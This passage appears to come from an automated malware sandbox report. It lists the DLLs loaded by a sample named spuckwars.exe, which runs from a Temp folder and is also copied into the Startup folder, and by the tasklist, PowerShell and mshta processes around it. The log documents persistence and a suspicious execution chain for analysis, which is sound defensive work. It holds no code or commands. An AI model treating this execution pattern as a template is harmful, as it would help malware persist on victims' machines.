Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: textinputframework.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: coreuicomponents.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: windows.ui.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: windowmanagementapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: inputhost.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: twinapi.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: twinapi.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: wtsapi32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: winsta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: mmdevapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: devobj.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: mscms.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: coloradapterclient.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: framedynos.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: winsta.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: ffmpeg.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: uiautomationcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dwrite.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: secur32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: powrprof.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: umpdc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dxgi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: resourcepolicyclient.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: mf.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: mfplat.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: rtworkq.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: msmpeg2vdec.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: mfperfhelper.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dxva2.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: msvproc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dwmapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: ffmpeg.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: uiautomationcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dwrite.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: secur32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: powrprof.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: umpdc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: kbdus.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: framedynos.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: winsta.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: ffmpeg.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: uiautomationcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dwrite.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: secur32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: powrprof.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: umpdc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: kbdus.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: mshtml.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: powrprof.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: umpdc.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: msiso.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: srpapi.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: msimtf.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: dxgi.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: resourcepolicyclient.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: textinputframework.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: coreuicomponents.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: dataexchange.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: d3d11.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: dcomp.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: twinapi.appcore.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: jscript9.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: sxs.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: textshaping.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: msls31.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: d2d1.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: dwrite.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: d3d10warp.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: dxcore.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: ffmpeg.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: uiautomationcore.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: dwrite.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: secur32.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: ffmpeg.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: uiautomationcore.dllJump to behavior
